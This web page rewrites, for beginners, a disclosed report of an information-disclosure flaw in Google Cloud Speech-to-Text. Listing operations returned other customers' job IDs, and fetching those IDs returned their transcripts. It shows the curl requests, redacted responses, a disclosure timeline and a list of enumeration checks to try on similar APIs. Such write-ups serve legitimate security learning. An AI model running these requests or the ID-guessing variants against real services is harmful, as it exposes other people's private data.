Skip to content
IDOR Write-up Beginner

Information Disclosure Vulnerability in the Google Cloud Speech-to-Text API

The operations/list endpoint of the Google Cloud Speech-to-Text API returned transcription job IDs belonging to other users, and the operations/get endpoint then returned the full transcription results for those jobs. An attacker could read other users' transcription data with simple API requests.

Dan Maas Follow

Published on dcine.com

A vulnerability was discovered in the Google Cloud Speech-to-Text API that allowed a user to read transcription results belonging to a different, unrelated user. This vulnerability could be exploited with a simple “curl” command.

Dan Maas, on dcine.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Google's Cloud Speech-to-Text API offers several modes of operation, including an asynchronous mode built for long-form transcription jobs. A typical use is transcribing an audio podcast so that it can be searched for keywords.

In this mode the user first authenticates to Google Cloud and submits the transcription job through the REST endpoint speech:longrunningrecognize. That call returns an opaque job ID in the form of a short string. The user can then poll the job's status by sending the job ID to the operations/get endpoint, which returns metadata about the job. Once the job finishes, the same endpoint also returns the complete transcription result: full text, confidence values, timestamps and so on.

The API also exposes an operations/list endpoint, which returns a list of ongoing and completed transcription job IDs.

The vulnerability described here let a user read transcription results belonging to a different, unrelated user, and it could be triggered with a simple curl command.

Setup

The researcher was testing the Speech-to-Text API as an authenticated Google Cloud user. Authentication was handled by pulling an application default access token from the local gcloud tooling and passing it as a bearer token, as shown in the requests below. No other preconditions are described: the requests carry no job ID, project identifier or other scoping parameter beyond the token itself.

Finding it

While testing the Speech-to-Text API, the researcher found that querying the operations/list endpoint with no parameters returned transcription job IDs belonging to jobs the caller did not own. Querying any of those IDs through operations/get then returned the results of those jobs, including full-text transcriptions.

What made this clearly wrong is that none of the returned operation IDs corresponded to jobs submitted by the user making the request, nor to any other user in the same Google Cloud customer account. None of the returned IDs belonged to the caller's jobs or to any other user in the same Google Cloud customer account.

Exploitation

Step 1: list operations

The researcher queried the operations/list endpoint:

Bash
curl -H "Authorization: Bearer "$(gcloud auth application-default print-access-token) \
     -H "Content-Type: application/json; charset=utf-8" \
"https://speech.googleapis.com/v1/operations"

The Authorization header carries the caller's own access token, and the URL targets the collection of operations with no filter. The response came back as a list of operation names:

JSON
{
  "operations": [
    {
      "name": "5201534545415957057"
    },
    {
      "name": "2479283670382910446"
    },
    ...
  ]
}

None of these operation IDs belonged to jobs submitted by the requesting user, or to any other user in the same Google Cloud customer account.

Step 2: fetch a job by ID

The researcher then queried the operations/get endpoint for one of the returned IDs:

Bash
curl -H "Authorization: Bearer "$(gcloud auth application-default print-access-token) \
     -H "Content-Type: application/json; charset=utf-8" \
     "https://speech.googleapis.com/v1/operations/5201534545415957057"

The only change from the listing request is the operation ID appended to the path. The response contained the job's metadata and, because the job was complete, its full result:

JSON
{
  "name": "5201534545415957057",
  "metadata": {
    "@type": "type.googleapis.com/google.cloud.speech.v1.LongRunningRecognizeMetadata",
    "progressPercent": 100,
    "startTime": "2019-01-01T00:00:00.000000Z",
    "lastUpdateTime": "2019-01-01T00:00:00.000000Z"
  },
  "done": true,
  "response": {
    "@type": "type.googleapis.com/google.cloud.speech.v1.LongRunningRecognizeResponse",
    "results": [
      {
        "alternatives": [
          {
            "transcript": "*** FULL TEXT HERE ***",
            "confidence": 0.96096134,
          }
        ]
      },
    ]
  }
}

The portion marked FULL TEXT HERE represents full-text transcription data that did not belong to the user making the request. In the published example the job IDs were randomised and the transcription data redacted.

The researcher did not save the transcription results, because it was not clear who owned the data and it seemed potentially sensitive. One transcription that was glanced at was a discussion of financial matters for a business.

Root cause

The report does not identify the underlying code or design mistake. What it establishes is the observable behaviour: operations/list returned operation IDs outside the caller's ownership, and operations/get served the full result for those IDs to a caller who did not own them. In other words, the listing returned IDs outside the caller's ownership and the retrieval served their results.

It was not clear whether the unrecognised transcription results were some kind of Google test data or actual jobs submitted by other customers. One possible explanation the researcher considered was that the jobs were Google-provided sample data, perhaps belonging to a not-yet-released tutorial introducing developers to the Speech-to-Text API. The alternative, which the researcher feared, was that they were real transcription results belonging to an unrelated Google Cloud customer. Given the potential sensitivity, the researcher thought it prudent to report it as a possible security vulnerability.

Impact

An authenticated user of the API could enumerate transcription job IDs through operations/list and then read the complete transcription results of those jobs through operations/get, including full text, confidence values and timestamps. The jobs reached in this way belonged neither to the requesting user nor to anyone else in the same Google Cloud customer account, so the jobs reached were outside the requesting user's own Google Cloud customer account.

The practical severity depends on whose data those jobs were. If they were Google sample data for an unreleased tutorial, the exposure is limited. If they were real customer jobs, the impact is disclosure of potentially sensitive material; the one transcription the researcher glanced at was a discussion of financial matters for a business. The report does not establish which of the two it was.

Fix

On April 19, 2019, the researcher disclosed the findings to Google through the security bug reporting tool, and the issue was assigned the tracker URL https://issuetracker.google.com/issues/130907659.

On April 24, 2019, Google's Security Team triaged the report and forwarded it to the VRP. On October 12, 2019, Google reported that all bugs associated with the report had been fixed.

On January 2, 2020, after another round of testing that still appeared to show unintended information disclosure, Google reported that some fixes had been inadvertently reverted and were now re-applied.

The report does not describe the specific code change.

Variants to test

  1. Unscoped list endpoints on other asynchronous APIs. Call the equivalent of operations/list with no filter and compare the returned IDs against the jobs you submitted. A positive result is any ID you did not create, especially one that also falls outside your project or account.
  2. Direct retrieval of foreign IDs. Take an ID from step 1 and request it through the get endpoint. A positive result is a 200 with metadata or results rather than a permission error.
  3. ID guessing without listing. If listing is fixed but IDs are short numeric strings, request sequential or nearby IDs directly. A positive result is any response for an ID you never received from your own submissions.
  4. Cross-account checks. Repeat the listing from a second Google Cloud customer account and see whether the two accounts see each other's jobs. A positive result is overlap between the two listings.
  5. Post-fix regression. After a vendor reports a fix, re-run the original requests, since this report records fixes being inadvertently reverted and only re-applied after further testing.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Google offers a service that turns speech into text. You send it an audio file, and it sends back a written transcript. That service is called an API, which is simply a way for one computer program to talk to another over the internet. You do not click buttons on a website; you send a request to a web address and get an answer back.

A researcher was testing this service and found a serious mistake. When he asked the service for a list of transcription jobs, it gave him a list of jobs that were not his. He could then ask for the details of those jobs and receive the full written transcripts, even though the audio and the text were not his.

This kind of mistake is called an information disclosure vulnerability. In plain terms: the system shows information to someone who should not be allowed to see it. It is like a hotel receptionist handing you a list of room keys, including keys to rooms you never booked, and then letting you walk into those rooms.

The whole thing could be done with a single command typed into a terminal, which is the text-based window where you type commands instead of clicking. The researcher reported it to Google, and Google later reported that some fixes had been inadvertently reverted and were re-applied.

Background: what the service does

Google's Cloud Speech-to-Text API takes audio and produces text. It has several ways of working. One of them is called asynchronous mode, which is designed for long recordings. "Asynchronous" means the work does not finish instantly. You hand in the job, and later you come back to collect the result, like dropping off a suit at the dry cleaner and picking it up the next day rather than waiting at the counter.

A typical use of this mode is transcribing an audio podcast so that you can search the text for keywords. Podcasts can be an hour or more, so the transcription takes time, and the asynchronous mode is built for exactly that.

Here is how the flow works, step by step:

  1. The user authenticates to Google Cloud. Authentication means proving who you are. You do this once, and Google gives you a credential that proves your identity on later requests.
  2. The user submits the transcription job through a REST endpoint called speech:longrunningrecognize. An endpoint is a specific web address that accepts a particular kind of request. REST is a common style of designing these web addresses so that they behave predictably, a bit like a standard set of form fields at a government office: everyone knows where to write their name.
  3. The service replies with an opaque job ID, a short string of characters. "Opaque" means it is just a label with no meaning you can read off it; it is like a ticket number at a deli counter. You do not need to understand it, you just need to keep it so you can ask about your order later.
  4. The user checks the job's status by sending that job ID to the operations/get endpoint. This returns metadata, which is information about the job: how far along it is, when it started, and so on. Metadata is data about data, like the label on a jar telling you what is inside and when it was canned.
  5. Once the job finishes, the same endpoint also returns the complete transcription result: the full text, confidence values (how sure the system is about each word), timestamps (when each word was spoken) and so on.

The API also has an operations/list endpoint. This returns a list of job IDs, both ongoing and completed. In a correct system, that list should only contain your own jobs.

The vulnerability let a user read transcription results belonging to a different, unrelated user, and it could be triggered with a simple curl command. curl is a small program that sends web requests from a terminal. Think of it as a browser without the window: it fetches a web address and prints the answer as text.

Setup: how the researcher was logged in

The researcher was testing the Speech-to-Text API as an authenticated Google Cloud user. In other words, he had a Google Cloud account and was logged in, just like any normal customer.

Authentication was handled by pulling an application default access token from the local gcloud tooling and passing it as a bearer token. Let us unpack that:

  • gcloud is Google's command-line tool for managing Google Cloud. It runs in the terminal.
  • An access token is a long string of characters that acts as proof that you are logged in. It is like a wristband you get at an event: show it at the door and you are let in, without showing your ID again.
  • A bearer token is a token that anyone holding it can use. The name comes from "bearer", as in the person bearing (carrying) the token. If someone steals it, they can act as you, which is why tokens are treated as secrets.
  • "Application default" is just the name of the standard place gcloud stores the credential it uses.

No other preconditions are described. The requests carry no job ID, project identifier or other scoping parameter beyond the token itself. That last point matters: the only thing telling the server who was asking was the token. There was no extra field saying "only show me jobs from my project".

Finding it: what went wrong

While testing the Speech-to-Text API, the researcher found that querying the operations/list endpoint with no parameters returned transcription job IDs belonging to jobs the caller did not own. "With no parameters" means he sent no filter, no project name, nothing to narrow the list. He just asked for the list, and the server returned job IDs he did not own.

Querying any of those IDs through operations/get then returned the results of those jobs, including full-text transcriptions. So the two mistakes worked together: the list handed out other people's ticket numbers, and the get endpoint accepted those ticket numbers and handed over the goods.

What made this clearly wrong is that none of the returned operation IDs corresponded to jobs submitted by the user making the request, nor to any other user in the same Google Cloud customer account. A Google Cloud customer account is the top-level billing and ownership container. Inside it you can have projects, which group resources together. The returned IDs did not belong to the requesting user or to any other user in the same Google Cloud customer account. That is the difference between seeing a colleague's files on a shared drive and seeing files from a completely different company.

Exploitation: reproducing it step by step

Step 1: list operations

The researcher queried the operations/list endpoint:

Bash
curl -H "Authorization: Bearer "$(gcloud auth application-default print-access-token) \
     -H "Content-Type: application/json; charset=utf-8" \
"https://speech.googleapis.com/v1/operations"

Line by line:

  • curl is the program sending the request.
  • -H means "add a header". A header is extra information attached to a web request, like the address and return address written on an envelope. The body of the request is the letter; the headers are everything written on the outside.
  • "Authorization: Bearer " starts the first header. Authorization is the header name, and Bearer says what kind of credential follows.
  • $(gcloud auth application-default print-access-token) is a command substitution. The shell runs the command inside the $() first, and pastes its output into the line. So gcloud fetches the access token, and that token is placed right after Bearer . This is how the request proves who is asking.
  • -H "Content-Type: application/json; charset=utf-8" is the second header. It tells the server that the request body is JSON (a common text format for structured data) and that it is encoded in UTF-8, a standard way of representing text characters.
  • The backslashes at the end of the first two lines mean "the command continues on the next line". They are just for readability; the shell treats it as one long command.
  • "https://speech.googleapis.com/v1/operations" is the address being requested. It points at the collection of operations, with no filter and no ID at the end.

The Authorization header carries the caller's own access token, and the URL targets the collection of operations with no filter. The response came back as a list of operation names:

JSON
{
  "operations": [
    {
      "name": "5201534545415957057"
    },
    {
      "name": "2479283670382910446"
    },
    ...
  ]
}

What this shows:

  • The outer braces { } mark a JSON object, a collection of named values.
  • "operations" is the name of a field, and its value is a list, shown by the square brackets [ ].
  • Each item in the list is an object with a single field, "name", whose value is a long number written as text. That number is the job ID.
  • The ... means the list continued with more entries that were left out of the example.

None of these operation IDs belonged to jobs submitted by the requesting user, or to any other user in the same Google Cloud customer account. The researcher had asked for a list and received job IDs that were not his.

Step 2: fetch a job by ID

The researcher then queried the operations/get endpoint for one of the returned IDs:

Bash
curl -H "Authorization: Bearer "$(gcloud auth application-default print-access-token) \
     -H "Content-Type: application/json; charset=utf-8" \
     "https://speech.googleapis.com/v1/operations/5201534545415957057"

This is almost the same command as before. The Authorization header and the Content-Type header are identical, and the token is fetched the same way. The only change from the listing request is the operation ID appended to the path: the address now ends in /5201534545415957057 instead of just /operations. In other words, instead of asking "show me the list", he asked "show me this one specific job".

The response contained the job's metadata and, because the job was complete, its full result:

JSON
{
  "name": "5201534545415957057",
  "metadata": {
    "@type": "type.googleapis.com/google.cloud.speech.v1.LongRunningRecognizeMetadata",
    "progressPercent": 100,
    "startTime": "2019-01-01T00:00:00.000000Z",
    "lastUpdateTime": "2019-01-01T00:00:00.000000Z"
  },
  "done": true,
  "response": {
    "@type": "type.googleapis.com/google.cloud.speech.v1.LongRunningRecognizeResponse",
    "results": [
      {
        "alternatives": [
          {
            "transcript": "*** FULL TEXT HERE ***",
            "confidence": 0.96096134,
          }
        ]
      },
    ]
  }
}

Reading it piece by piece:

  • "name" repeats the job ID, confirming which job this is.
  • "metadata" is the information about the job. "@type" is a label saying what kind of data this is, in this case the metadata for a long-running recognition job. "progressPercent": 100 means the job is fully complete. "startTime" and "lastUpdateTime" are timestamps in a standard format, ending in Z, which means the time is given in UTC, the world's reference time zone.
  • "done": true confirms the job has finished.
  • "response" holds the actual result. Inside it, "results" is a list, and each entry has "alternatives", a list of possible readings of the audio. Each alternative has a "transcript", the text, and a "confidence", a number between 0 and 1 showing how sure the system is. Here 0.96096134 is a high confidence.
  • "*** FULL TEXT HERE ***" is a placeholder. The real transcript was removed before publishing.

The portion marked FULL TEXT HERE represents full-text transcription data that did not belong to the user making the request. In the published example the job IDs were randomised and the transcription data redacted. Redacted means sensitive content was removed or replaced before sharing, like blacking out names in a photocopy.

The researcher did not save the transcription results, because it was not clear who owned the data and it seemed potentially sensitive. One transcription that was glanced at was a discussion of financial matters for a business. The researcher did not save the results because it was not clear who owned the data and it seemed potentially sensitive.

Root cause: why it happened

The report does not identify the underlying code or design mistake. What it establishes is the observable behaviour: operations/list returned operation IDs outside the caller's ownership, and operations/get served the full result for those IDs to a caller who did not own them. In other words, neither the listing nor the retrieval enforced an ownership check against the authenticated caller.

An ownership check is the server asking, before handing anything over, "does this item belong to the person asking?" It is the same question a bank clerk asks before discussing an account. The requests carried a valid token, yet the results returned did not belong to the caller.

It was not clear whether the unrecognised transcription results were some kind of Google test data or actual jobs submitted by other customers. One possible explanation the researcher considered was that the jobs were Google-provided sample data, perhaps belonging to a not-yet-released tutorial introducing developers to the Speech-to-Text API. Sample data is harmless filler used in teaching material, like the fake names on a sample form.

The alternative, which the researcher feared, was that they were real transcription results belonging to an unrelated Google Cloud customer. Given the potential sensitivity, the researcher thought it prudent to report it as a possible security vulnerability. Reporting even when you are unsure is the safe habit: if it turns out to be nothing, the cost is small, and if it turns out to be real, the harm is caught early.

Impact: what could have gone wrong

An authenticated user of the API could enumerate transcription job IDs through operations/list and then read the complete transcription results of those jobs through operations/get, including full text, confidence values and timestamps. To enumerate means to go through items one by one, or to obtain a full list of them. Here the list came for free, so no guessing was needed.

The jobs reached in this way belonged neither to the requesting user nor to anyone else in the same Google Cloud customer account, so the exposure crossed account boundaries. The jobs reached were outside the requesting user's own Google Cloud customer account.

The practical severity depends on whose data those jobs were. If they were Google sample data for an unreleased tutorial, the exposure is limited. If they were real customer jobs, the impact is disclosure of potentially sensitive material; the one transcription the researcher glanced at was a discussion of financial matters for a business. The report does not establish which of the two it was.

Fix: what happened after the report

On April 19, 2019, the researcher disclosed the findings to Google through the security bug reporting tool, and the issue was assigned the tracker URL https://issuetracker.google.com/issues/130907659. A tracker is a system for recording and following a task until it is closed, like a numbered ticket in a support queue.

On April 24, 2019, Google's Security Team triaged the report and forwarded it to the VRP. To triage means to make a first assessment: is this real, how serious is it, and who should handle it. The VRP is Google's Vulnerability Reward Program, the scheme through which security researchers can be rewarded for reporting problems.

On October 12, 2019, Google reported that all bugs associated with the report had been fixed.

On January 2, 2020, after another round of testing that still appeared to show unintended information disclosure, Google reported that some fixes had been inadvertently reverted and were now re-applied. Reverted means undone, put back to how it was before. A fix that is undone by accident is a common real-world problem, which is why testing again after a fix matters.

The report does not describe the specific code change.

Variants to test: where else to look

These are the checks a tester would repeat on similar services, with the reasoning behind each:

  1. Unscoped list endpoints on other asynchronous APIs. Call the equivalent of operations/list with no filter and compare the returned IDs against the jobs you submitted. A positive result is any ID you did not create, especially one that also falls outside your project or account. The idea is that if one service forgot the ownership check on its list, its siblings may have too.
  2. Direct retrieval of foreign IDs. Take an ID from step 1 and request it through the get endpoint. A positive result is a 200 with metadata or results rather than a permission error. A 200 is the standard web response meaning "OK, here is your answer".
  3. ID guessing without listing. If listing is fixed but IDs are short numeric strings, request sequential or nearby IDs directly. A positive result is any response for an ID you never received from your own submissions. Short numbers are easy to guess, so a fixed list does not help if the get endpoint still answers to any number.
  4. Cross-account checks. Repeat the listing from a second Google Cloud customer account and see whether the two accounts see each other's jobs. A positive result is overlap between the two listings. This tests the boundary that matters most: between separate customers.
  5. Post-fix regression. After a vendor reports a fix, re-run the original requests, since this report records fixes being inadvertently reverted and only re-applied after further testing. A regression is when something that was fixed breaks again.

Glossary

  • API: a way for one computer program to talk to another over the internet, usually by sending requests to specific web addresses.
  • Access token: a string of characters that proves you are logged in, used in place of your password on each request.
  • Asynchronous: work that does not finish instantly; you submit a job, then come back later to collect the result.
  • Authentication: proving who you are to a system.
  • Authorised: allowed to do or see something.
  • Bearer token: a token that anyone holding it can use, like a wristband at an event.
  • Confidence value: a number between 0 and 1 showing how sure the system is about a result.
  • Content-Type: a request header that says what format the data is in, such as JSON.
  • Cross-account: reaching data belonging to a different customer account, not just a different project.
  • curl: a command-line program that sends web requests and prints the responses as text.
  • Endpoint: a specific web address that accepts a particular kind of request.
  • Enumerate: to go through items one by one, or to obtain a full list of them.
  • gcloud: Google's command-line tool for managing Google Cloud from a terminal.
  • Header: extra information attached to a web request, like the writing on an envelope.
  • Information disclosure: a vulnerability where a system shows information to someone who should not be allowed to see it.
  • JSON: a common text format for structured data, using braces, brackets and quoted names.
  • Metadata: data about data, such as when a job started or how far along it is.
  • Opaque ID: a label with no readable meaning, used only to refer to something.
  • Ownership check: the server asking whether an item belongs to the person requesting it before handing it over.
  • Parameter: an extra value sent with a request to narrow or change what it does, such as a filter.
  • Redacted: sensitive content removed or replaced before sharing.
  • Regression: when something that was fixed breaks again.
  • REST: a common style of designing web addresses and requests so they behave predictably.
  • Reverted: undone, put back to how it was before.
  • Timestamps: recorded times, here in a standard format ending in Z for UTC.
  • Tracker: a system for recording and following a task until it is closed.
  • Triaged: given a first assessment of whether a report is real, how serious it is, and who should handle it.
  • UTC: the world's reference time zone.
  • UTF-8: a standard way of representing text characters in bytes.
  • VRP: Google's Vulnerability Reward Program, the scheme through which researchers can be rewarded for reporting problems.
  • Vulnerability: a weakness in a system that can be used to make it behave in a way its owners did not intend.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.